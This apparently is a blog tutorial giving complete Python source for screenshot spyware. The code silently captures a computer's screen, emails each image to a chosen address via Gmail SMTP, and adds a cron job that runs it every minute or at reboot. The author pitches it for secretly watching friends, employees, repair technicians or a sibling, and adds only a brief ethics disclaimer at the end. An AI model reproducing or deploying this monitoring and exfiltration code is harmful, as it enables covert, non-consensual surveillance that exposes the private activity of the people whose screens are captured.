Spying On Remote Computer With Screenshot Using Python

We are going to talk about a very important topic today. But I want you to imagine something. Let’s say one of your friends wanted to borrow your laptop for somedays. Or you gave your laptop to a guy who is gonna fix some software issues. Or maybe you want to spy on your employee for some reason. All you need is to see a screenshot after every certain amount of time. Or maybe you wanna check what your younger brother doing on his computer. You need information for some ethical reasons or your personal or business safety. We will build a solution for that. Which can be optimized in many ways later.

Objectives

  • Take a screenshot of the target computer.
  • Send the screenshot to an email address.
  • Add this task to Cron job programmatically.

Prerequisites

  • Linux (mine is ubuntu 18.04)
  • Python3
  • pip
  • venv
  • pyscreenshot==2.2
  • Pillow==7.2.0

Environment Setup & Installation

Always remember, whenever you are becoming a crazy horse to build a new python project, just hold that horse for a few seconds. Set up a virtual environment first and thank me later. Go to your favorite directory and follow the steps

python3 -m venv my_env
cd my_env

Now we need to activate the virtual environment. And then we need to install python-crontab, Pillow, and pyscreenshoot packages.

. bin/activate
pip install python-crontab
pip install Pillow pyscreenshot

Now create our project repository. We will call our project spy.

mkdir spy

Application Structure

In our assets folder, the screenshot will be stored. Our cronjob package will be responsible for the core functionality for setting cron job programmatically. The spy_action package is the core package for this task. This will contain the action for taking a screenshot and sending it to your email.

.
├── assets
│   └── fullscreen.png
├── cronjob
│   ├── __init__.py
│   └── scheduler.py
├── spy_action
│   ├── __init__.py
│   ├── mail.py
│   └── screenshot.py
└── spy.py
├── run.py
├── settings.py

Config our settings.py

In our settings.py file, we will set our emails and credentials. In your case keep them in .env file and call them into  settings.py. We will also set some location path in variables.

import os


SENDER_EMAIL = "sender@gmail.com"
SENDER_PASSWORD = "gmail app password"
RECEIVER_EMAIL = "receiver@gmail.com"

directory = os.path.dirname(os.path.realpath(__file__)).rsplit(os.sep, 2)
project_root_dir = directory[0] + "/" + directory[1] + "/" + directory[2]

venv_directory = directory[0] + "/" + directory[1]
python_location = venv_directory + '/bin/python3'
executive_file = directory[0] 
                 + "/" + directory[1] 
                 + "/" + directory[2] 
                 + '/spy.py'
cron_job_command = python_location + " " + executive_file

Take Screenshot

In our spy_action/screenshot.py file, write the below code.

import pyscreenshot as ImageGrab
from settings import project_root_dir


def upload_path() -> str:
    return project_root_dir + '/assets/'


def take_screenshot() -> dict:
    try:
        full_image_path = upload_path() + 'fullscreen.png'
        print(full_image_path)
        image = ImageGrab.grab()
        image.save(full_image_path)

        return dict(success=True, path=full_image_path)
    except Exception as error:
        print(error)

        return dict(success=False)

This file has 2 methods. One is upload_path() and another is take_screenshot(). In our upload_path() method we will set the path of upload folder and return it. And will invoke the method in the take_screenshot() method and will take the full screenshot of the computer.

To take the screenshot use,

image = ImageGrab.grab()

And to save it in our directory,

image.save(full_image_path)

Send image file to an email

Now our target is to monitor right? In this article, we used an email for monitoring. You can even use your custom web app to store the image. That’s mean you have to use python’s request library to make a post request. Inside your spy_action/mail.py file, import all the necessary things.

import os
import smtplib
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from settings import (SENDER_EMAIL, SENDER_PASSWORD, RECEIVER_EMAIL)

Then we need to prepare a mail content to send. Write the below method in the same file.

def prepare_mail(ImgFileName):
    """
    Prepare mail content
    :rtype: object
    """
    img_data = open(ImgFileName, 'rb').read()
    message = MIMEMultipart()
    message['Subject'] = 'SPY!'
    image = MIMEImage(img_data, name=os.path.basename(ImgFileName))
    message.attach(image)

    return message

Then we actually need to send the mail content. To do that write the below method.

def send_mail(ImgFileName):
    """
    Send the email
    :rtype: object
    """
    mail = prepare_mail(ImgFileName)
    mailer = smtplib.SMTP('smtp.gmail.com', 587)
    mailer.ehlo()
    mailer.starttls()
    mailer.ehlo()
    mailer.login(SENDER_EMAIL, SENDER_PASSWORD)
    mailer.sendmail(SENDER_EMAIL, RECEIVER_EMAIL, mail.as_string())
    mailer.quit()

After that, your mail.py file will look like this.

import os
import smtplib
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from settings import (SENDER_EMAIL, SENDER_PASSWORD, RECEIVER_EMAIL)


def prepare_mail(ImgFileName):
    """
    Prepare mail content
    :rtype: object
    """
    img_data = open(ImgFileName, 'rb').read()
    message = MIMEMultipart()
    message['Subject'] = 'SPY!'
    image = MIMEImage(img_data, name=os.path.basename(ImgFileName))
    message.attach(image)

    return message


def send_mail(ImgFileName):
    """
    Send the email
    :rtype: object
    """
    mail = prepare_mail(ImgFileName)
    mailer = smtplib.SMTP('smtp.gmail.com', 587)
    mailer.ehlo()
    mailer.starttls()
    mailer.ehlo()
    mailer.login(SENDER_EMAIL, SENDER_PASSWORD)
    mailer.sendmail(SENDER_EMAIL, RECEIVER_EMAIL, mail.as_string())
    mailer.quit()

Now in your spy.py file write the below code which will invoke those methods to finally send the proper screenshot.

from spy_action.mail import send_mail
from spy_action.screenshot import take_screenshot


def screen_catcher():
    image = take_screenshot()
    send_mail(image["path"])


if __name__ == "__main__":
    screen_catcher()

The deadly cron-job

Now, it’s time, we will use the power of cronjob. In one of my previous articles, I talked about managing cronjob using python. Which you can find here. From that article, you will use some code. Where we will have a class that is responsible for adding a cronjob by a given command. There will also be some helping methods to set the schedule.

We will use the code in our cronjob/scheduler.py file.

"""
    ----------------------------------------------------------------------------
    Scheduler module
    ----------------------------------------------------------------------------
    1. Can create cron jobs with specific time schedule

        Case           Meaning
        @reboot            Every boot
        @hourly            0 * * * *
        @daily         0 0 * * *
        @weekly            0 0 * * 0
        @monthly       0 0 1 * *
        @yearly            0 0 1 1 *
    ----------------------------------------------------------------------------
    2. can remove all cron jobs
    ----------------------------------------------------------------------------
"""
from crontab import CronTab, CronItem


class Scheduler:
    """Scheduler class"""
    def __init__(self, command: str):
        """
        Here we will initiate a Cron
        and set the command
        :param command: command to execute
        """
        self.cron = CronTab(user=True)
        self.command = command

    def __create_cron_job(self) -> CronItem:
        """
        Create a new job and return it
        :return: job
        """
        job = self.cron.new(command=self.command)
        return job

    def minutely_execution(self) -> bool:
        """
        Execute job every minute
        :return:
        """
        try:
            job = self.__create_cron_job()
            job.minute.every(1)
            job.enable()
            self.cron.write()
            print(job)
            if self.cron.render():
                print("done")
                return True
            print("failed")
            return False
        except Exception as error:
            print(error)
            return False

    def hourly_execution(self) -> bool:
        """
        Execute job every hour
        :return:
        """
        try:
            job = self.__create_cron_job()
            job.minute.on(0)
            job.hour.during(0, 23)
            job.enable()
            self.cron.write()
            if self.cron.render():
                return True
            return False
        except Exception as error:
            print(error)
            return False

    def daily_execution(self) -> bool:
        """
        Execute job every day
        :return:
        """
        try:
            job = self.__create_cron_job()
            job.minute.on(0)
            job.hour.on(0)
            job.enable()
            self.cron.write()
            if self.cron.render():
                return True
            return False
        except Exception as error:
            print(error)
            return False

    def weekly_execution(self) -> bool:
        """
        Execute job every week
        :return:
        """
        try:
            job = self.__create_cron_job()
            job.minute.on(0)
            job.hour.on(0)
            job.dow.on(1)
            job.enable()
            self.cron.write()
            if self.cron.render():
                return True
            return False
        except Exception as error:
            print(error)
            return False

    def monthly_execution(self) -> bool:
        """
        Execute job every month
        :return:
        """
        try:
            job = self.__create_cron_job()
            job.minute.on(0)
            job.hour.on(0)
            job.day.on(1)
            job.month.during(1, 12)
            job.enable()
            self.cron.write()
            if self.cron.render():
                return True
            return False
        except Exception as error:
            print(error)
            return False

    def yearly_execution(self) -> bool:
        """
        Execute job every year
        :return:
        """
        try:
            job = self.__create_cron_job()
            job.minute.on(0)
            job.hour.on(0)
            job.month.on(12)
            job.enable()
            self.cron.write()
            if self.cron.render():
                return True
            return False
        except Exception as error:
            print(error)
            return False

    def execute_after_reboot(self) -> bool:
        """
        Execute job after every reboot
        :return:
        """
        try:
            job = self.__create_cron_job()
            job.every_reboot()
            job.enable()
            self.cron.write()
            if self.cron.render():
                return True
            return False
        except Exception as error:
            print(error)
            return False

    def delete_all_jobs(self) -> bool:
        """
        remove all cron jobs
        :return:
        """
        try:
            self.cron.remove_all()
            return True
        except Exception as error:
            print(error)
            return False

Check it out, there are many useful methods.

Then in our run.py, we will add the spy.py file in a cronjob. That will execute every minute. Of course, you can change the schedule as you wish. You have all the methods in the cronjob/scheduler.py file.

from cronjob.scheduler import Scheduler
from settings import cron_job_command

if __name__ == "__main__":
    # Execute job
    scheduler = Scheduler(cron_job_command)
    scheduler.minutely_execution()

Never Stop Learning! But be ethical with scripts!

Well, there are many ways. You can build the whole app for Linux/Windows anytime you like. Or you can just run the run.py file and it will do the rest of the work. Be aware, do not use it for unethical purposes. I wrote this article for educational and self-security purposes only.

Full source code can be found in my Github repository: https://github.com/zim0101/spy_on_your_friend.